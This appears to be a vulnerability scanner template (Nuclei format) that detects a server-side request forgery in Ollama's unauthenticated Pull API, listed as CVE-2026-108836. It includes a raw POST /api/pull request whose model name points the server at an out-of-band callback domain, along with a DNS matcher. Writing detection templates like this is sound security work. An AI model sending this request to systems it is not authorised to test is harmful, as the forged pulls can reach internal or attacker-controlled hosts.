id: CVE-2026-108836 info: name: "Ollama - Pull API Server-Side Request Forgery" author: vedas-arpsyndicate severity: medium description: | Ollama up to and including 0.34.1 fails to properly validate model names in the IsValid function of types/model/name.go, which backs the unauthenticated Pull API. The host component of a crafted model name is used as the registry endpoint without restriction, so a request to POST /api/pull with a model name whose host points at an attacker-controlled or internal address causes the Ollama server to issue a request to that host (server-side request forgery). This template sends a safe pull request whose model host is an out-of-band collaborator domain and detects the resulting interaction. Fixed in 0.34.2. reference: - https://www.exploit.observer/?keyword=CVE-2026-108836&match=exact - https://subdomain.center/?engine=ammonites&keyword=ollama&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L cvss-score: 6.3 cve-id: CVE-2026-108836 cwe-id: CWE-918 metadata: verified: false max-request: 1 tags: cve,cve2026,ollama,ssrf,oast http: - raw: - | POST /api/pull HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"model":"{{interactsh-url}}/library/alpine","insecure":true,"stream":false} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns"